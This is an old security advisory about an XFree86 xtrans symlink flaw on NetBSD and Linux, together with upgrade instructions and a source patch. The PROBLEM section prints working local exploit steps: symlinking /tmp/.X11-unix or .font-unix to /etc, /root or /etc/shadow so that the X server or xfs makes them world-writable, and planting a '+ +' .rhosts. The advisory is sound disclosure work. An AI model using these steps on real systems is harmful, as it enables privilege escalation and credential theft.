COMMAND

    X11R6 (xf86-3.3.3-5)

SYSTEMS AFFECTED

    NetBSD 1.3.3, Linux

PROBLEM

    'in.telnetd' posted following.   Let's rm /tmp/.X11-unix and  then
    make  a  symbolic  link  from  a  file  to /tmp/.X11-unix and then
    startx.  You better backed up your /etc/passwd and then do:

	ln -s /etc/passwd /tmp/.X11-unix

    Then startx'd  as normal  user acount,  and you'll  see X wouldn't
    start as will complaine  and say "is not  a directory".  So,  make
    a symbolic  link from  /root to  /tmp/.X11-unix, and  startx as  a
    normal user, and you'll be suprised to have write access to /root.
    You'll be able to write new files to /root but not to overright or
    change files. Also, you can make a "+ +" .rhosts.  You can do that
    to /etc also, changed it from:

	drwxr-xr-x

    To:

	drwxrwxrwt

    with:

	telnetd ~$ ln -s /etc /tmp/.X11-unix
	telnetd ~$ startx

    This was tested via a remote  telnet sesion also, It works if  you
    are able to startx and  X isn't already running, tester  swung his
    chair around and got on his gateway, telneted to stinky, logged in
    as a normal user, ln -s /etc /tmp/.X11-unix, startx'd remotly, saw
    the X startup  crap, looked behind  and saw X  starting on stinky,
    turned to his gateway and stoped X, and had write access to  /etc.
    The only  real thing  I can  think of  for this  to be  usefull is
    .rhosts in  /root...   This was  on NetBSD  1.3.3, fresh  install.
    Same was  tested under  2.2.4 linux  using XFree86  Version 3.3.2.
    You won't get  write access to  /etc, still you'll  able to create
    file

	srwxrwxrwx   1 root     root            0 Mar 26 13:48 X0=

    in previously  unwritable directory.  Bug, as  it seems.   Another
    report  confirms  X11  v3.3.3  to  be  vulnerable  too  (links  to
    directories and files):

	bebras@petras:/tmp> ln -s /etc/group /tmp/.X11-unix
	bebras@petras:/tmp> ls -l /etc/group
	-rw-r--r--   1 root     root          336 Mar  6 13:56 /etc/group
	bebras@petras:/tmp> startx
	_X11TransSocketUNIXConnect: Can't connect: errno = 111
	giving up.
	xinit:  Connection refused (errno 111):  unable to connect to X server
	xinit:  No such process (errno 3):  Server error.
	bebras@petras:/tmp> ls -l /etc/group
	-rwxrwxrwt   1 root     root          336 Mar  6 13:56 /etc/group*

    Lukasz Trabinski found bug in  xfs which is product of  same thing
    as above (tested on  Packet XFree86-xfs-3.3.3.1-1 in RedHat  5.1).
    Xfs is a  font server for  XFree86, it's also  create directory in
    /tmp.  That directory name .font-unix.  Let's make a little check.
    On first console log as a normal user:

        [lukasz@lt /tmp]$ cat /etc/shadow
        cat: /etc/shadow: Permission denied

        [lukasz@lt /tmp]$ ls -all /etc/shadow
        -r--------   1 root     root          544 Mar 30 00:04 /etc/shadow

        [lukasz@lt /tmp]$ ll
        total 2
        drwxrwxrwt   2 root     root         1024 Mar 30 00:05 .
        drwxr-xr-x  18 root     root         1024 Mar 23 00:10 ..
        lrwxrwxrwx   1 lukasz   users          11 Mar 30 00:05 .font-unix ->
        /etc/shadow

    On second console, as root:

        [root@lt /root]# xfs &
        [1] 2021
        [root@lt /root]# _FontTransSocketCreateListener: failed to bind listener
        _FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
        _FontTransMakeAllCOTSServerListeners: failed to create listener for local

    On first console:

        [lukasz@lt /tmp]$ ls -all /etc/shadow
        -rwxrwxrwt   1 root     root          544 Mar 30 00:04 /etc/shadow

    This is caused by the same bug in xc/lib/xtrans.

SOLUTION

    Well, when theres a reboot, /tmp/ is cleared.  And If you  haven't
    started X yet, it could be a problem.  This isn't and ultra spiffy
    important problem for smart admins.  Anyway, for a proper solution
    upgrade your XF86.  As a temporary fix you can put these  commands
    into /sbin/init.d/boot.local (tested under SuSE):

	/bin/rm -rf /tmp/.X11-unix
	mkdir -p -m 1777 /tmp/.X11-unix

    Here are upgrade packages (glibc archives SuSE 6.0):

	x8514-3.3.3.1-13.i386.rpm
	xagx-3.3.3.1-13.i386.rpm
	xfbdev-3.3.3.1-13.i386.rpm
	xglint-3.3.3.1-13.i386.rpm
	xi128-3.3.3.1-13.i386.rpm
	xlkit-3.3.3.1-13.i386.rpm
	xmach32-3.3.3.1-13.i386.rpm
	xmach64-3.3.3.1-13.i386.rpm
	xmach8-3.3.3.1-13.i386.rpm
	xmono-3.3.3.1-13.i386.rpm
	xp9k-3.3.3.1-13.i386.rpm
	xs3-3.3.3.1-13.i386.rpm
	xs3v-3.3.3.1-13.i386.rpm
	xsvga-3.3.3.1-13.i386.rpm
	xvga16-3.3.3.1-13.i386.rpm
	xw32-3.3.3.1-13.i386.rpm
	xxprt-3.3.3.1-13.i386.rpm

    Here are upgrade packages (libc5 archives SuSE <= 5.3):

	x8514-3.3.3.1-13.i386.rpm
	xagx-3.3.3.1-13.i386.rpm
	xdevel-3.3.3.1-13.i386.rpm
	xdoc-3.3.3.1-13.i386.rpm
	xextra-3.3.3.1-13.i386.rpm
	xf86-3.3.3.1-13.i386.rpm
	xfbdev-3.3.3.1-13.i386.rpm
	xfnt100-3.3.3.1-13.i386.rpm
	xfntbig-3.3.3.1-13.i386.rpm
	xfntcyr-3.3.3.1-13.i386.rpm
	xfntscl-3.3.3.1-13.i386.rpm
	xfsetup-3.3.3.1-13.i386.rpm
	xglint-3.3.3.1-13.i386.rpm
	xi128-3.3.3.1-13.i386.rpm
	xlkit-3.3.3.1-13.i386.rpm
	xmach32-3.3.3.1-13.i386.rpm
	xmach64-3.3.3.1-13.i386.rpm
	xmach8-3.3.3.1-13.i386.rpm
	xman-3.3.3.1-13.i386.rpm
	xmono-3.3.3.1-13.i386.rpm
	xp9k-3.3.3.1-13.i386.rpm
	xs3-3.3.3.1-13.i386.rpm
	xs3v-3.3.3.1-13.i386.rpm
	xshared-3.3.3.1-13.i386.rpm
	xsvga-3.3.3.1-13.i386.rpm
	xvga16-3.3.3.1-13.i386.rpm
	xw32-3.3.3.1-13.i386.rpm
	xxprt-3.3.3.1-13.i386.rpm

    Red Hat Linux 5.x:
    ------------------
    In some circumstances, you may be required to add --force and/or
    --nodeps to the rpm command line options to insure a proper
    upgrade.  Add these options if the command line given gives an
    error.
    Intel:

        rpm -Uvh ftp://updates.redhat.com/5.2/i386/XFree86-libs-3.3.3.1-1.1.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/i386/XFree86-3.3.3.1-1.1.i386.rpm

    Alpha:

        rpm -Uvh ftp://updates.redhat.com/5.2/alpha/XFree86-libs-3.3.3.1-1.1.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/alpha/XFree86-3.3.3.1-1.1.alpha.rpm

    SPARC:

        rpm -Uvh ftp://updates.redhat.com/5.2/sparc/XFree86-libs-3.3.3.1-1.1.sparc.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/sparc/XFree86-3.3.3.1-1.1.sparc.rpm

    Red Hat Linux 4.2:
    ------------------
    In some circumstances, you may  be required to add --force  and/or
    --nodeps  to  the  rpm  command  line  options  to insure a proper
    upgrade.   Add these  options if  the command  line given gives an
    error.
    Intel:

        rpm -Uvh ftp://updates.redhat.com/4.2/i386/rpm-2.5.3-4.2.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/i386/Xconfigurator-2.6.1-1.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/i386/XFree86-libs-3.3.3.1-0.1.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/i386/XFree86-3.3.3.1-0.1.i386.rpm

    Alpha:
    ------

        rpm -Uvh ftp://updates.redhat.com/4.2/alpha/rpm-2.5.3-4.2.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/alpha/Xconfigurator-2.6.1-1.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/alpha/XFree86-libs-3.3.3.1-0.1.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/alpha/XFree86-3.3.3.1-0.1.alpha.rpm

    SPARC:
    ------

        rpm -Uvh ftp://updates.redhat.com/4.2/sparc/rpm-2.5.3-4.2.sparc.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/sparc/XFree86-libs-3.3.3.1-0.1.sparc.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/sparc/XFree86-3.3.3.1-0.1.sparc.rpm

    The following patch should fix this:

    Index: xc/lib/xtrans/Xtransint.h
    ===================================================================
    RCS file: /cvs/X11/xc/lib/xtrans/Xtransint.h,v
    retrieving revision 1.1.1.2
    diff -u -r1.1.1.2 Xtransint.h
    --- xc/lib/xtrans/Xtransint.h   1998/11/28 08:26:08     1.1.1.2
    +++ xc/lib/xtrans/Xtransint.h   1999/03/26 08:20:27
    @@ -455,6 +455,12 @@
     #endif
     );

    +static int trans_mkdir (
    +#if NeedFunctionPrototypes
    +    char *,            /* path */
    +    int                        /* mode */
    +#endif
    +);

     /*
      * Some XTRANSDEBUG stuff
    Index: xc/lib/xtrans/Xtranslcl.c
    ===================================================================
    RCS file: /cvs/X11/xc/lib/xtrans/Xtranslcl.c,v
    retrieving revision 1.1.1.4
    diff -u -r1.1.1.4 Xtranslcl.c
    --- xc/lib/xtrans/Xtranslcl.c   1999/01/08 17:31:44     1.1.1.4
    +++ xc/lib/xtrans/Xtranslcl.c   1999/03/26 08:20:32
    @@ -444,9 +444,11 @@
     #else
	 mode = 0777;
     #endif
    -
    -    mkdir(X_STREAMS_DIR, mode);
    -    chmod(X_STREAMS_DIR, mode);
    +    if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
    +       PRMSG (1, "PTSOpenServer: mkdir(%s) failed, errno = %d\n",
    +              X_STREAMS_DIR, errno, 0);
    +       return(-1);
    +    }

	 if( (fd=open(server_path, O_RDWR)) >= 0 ) {
     #if 0
    @@ -724,9 +726,11 @@
     #else
	 mode = 0777;
     #endif
    -
    -    mkdir(X_STREAMS_DIR, mode);
    -    chmod(X_STREAMS_DIR, mode);
    +    if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
    +       PRMSG (1, "NAMEDOpenServer: mkdir(%s) failed, errno = %d\n",
    +              X_STREAMS_DIR, errno, 0);
    +       return(-1);
    +    }

	 if(stat(server_path, &sbuf) != 0) {
	    if (errno == ENOENT) {
    @@ -1044,10 +1048,18 @@
	 mode = 0777;
     #endif

    -    mkdir(X_STREAMS_DIR, mode); /* "/dev/X" */
    -    chmod(X_STREAMS_DIR, mode);
    -    mkdir(X_ISC_DIR, mode); /* "/dev/X/ISCCONN" */
    -    chmod(X_ISC_DIR, mode);
    +    /* "/dev/X" */
    +    if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
    +       PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
    +              X_STREAMS_DIR, errno, 0);
    +       return(-1);
    +    }
    +    /* "/dev/X/ISCCONN" */
    +    if (trans_mkdir(X_ISC_DIR, mode) == -1) {
    +       PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
    +              X_ISC_DIR, errno, 0);
    +       return(-1);
    +    }

	 unlink(server_path);

    @@ -1072,8 +1084,11 @@
	  */
     #define X_UNIX_DIR     "/tmp/.X11-unix"

    -    mkdir(X_UNIX_DIR, mode);
    -    chmod(X_UNIX_DIR, mode);
    +    if (trans_mkdir(X_UNIX_DIR, mode) == -1) {
    +       PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
    +              X_UNIX_DIR, errno, 0);
    +       return(-1);
    +    }

	 unlink(server_unix_path);

    Index: xc/lib/xtrans/Xtranssock.c
    ===================================================================
    RCS file: /cvs/X11/xc/lib/xtrans/Xtranssock.c,v
    retrieving revision 1.1.1.4
    diff -u -r1.1.1.4 Xtranssock.c
    --- xc/lib/xtrans/Xtranssock.c  1999/01/08 17:31:46     1.1.1.4
    +++ xc/lib/xtrans/Xtranssock.c  1999/03/26 08:20:38
    @@ -946,8 +946,11 @@
     #else
	 mode = 0777;
     #endif
    -    mkdir (UNIX_DIR, mode);
    -    chmod (UNIX_DIR, mode);
    +    if (trans_mkdir(UNIX_DIR, mode) == -1) {
    +       PRMSG (1, "SocketUNIXCreateListener: mkdir(%s) failed, errno = %d\n",
    +              UNIX_DIR, errno, 0);
    +       return TRANS_CREATE_LISTENER_FAILED;
    +    }
     #endif

	 sockname.sun_family = AF_UNIX;
    @@ -1041,8 +1044,11 @@
     #else
	    mode = 0777;
     #endif
    -       mkdir (UNIX_DIR, mode);
    -       chmod (UNIX_DIR, mode);
    +        if (trans_mkdir(UNIX_DIR, mode) == -1) {
    +            PRMSG (1, "SocketUNIXResetListener: mkdir(%s) failed, errno = %d\n",
    +           UNIX_DIR, errno, 0);
    +           return TRANS_RESET_FAILURE;
    +        }
     #endif

	    close (ciptr->fd);
    Index: xc/lib/xtrans/Xtransutil.c
    ===================================================================
    RCS file: /cvs/X11/xc/lib/xtrans/Xtransutil.c,v
    retrieving revision 1.1.1.1
    diff -u -r1.1.1.1 Xtransutil.c
    --- xc/lib/xtrans/Xtransutil.c  1997/09/05 09:02:43     1.1.1.1
    +++ xc/lib/xtrans/Xtransutil.c  1999/03/26 08:20:40
    @@ -465,3 +465,32 @@

	 return (1);
     }
    +
    +#include <sys/types.h>
    +#include <sys/stat.h>
    +#include <errno.h>
    +
    +static int
    +trans_mkdir(char *path, int mode)
    +{
    +    struct stat buf;
    +
    +    if (mkdir(path, mode) == 0) {
    +       /* I don't know why this is done, but  it was in the original
    +          xtrans code */
    +       chmod(path, mode);
    +       return 0;
    +    }
    +    /* If mkdir failed with EEXIST, test if it is a directory with
    +       the right modes, else fail */
    +    if (errno == EEXIST) {
    +       if (lstat(path, &buf) != 0) {
    +           return -1;
    +       }
    +       if (S_ISDIR(buf.st_mode) && ((buf.st_mode & ~S_IFMT) == mode)) {
    +           return 0;
    +       }
    +    }
    +    /* In all other cases, fail */
    +    return -1;
    +}

    Debian/GNU Linux Potato is not vulnerable to xfs vulnerability.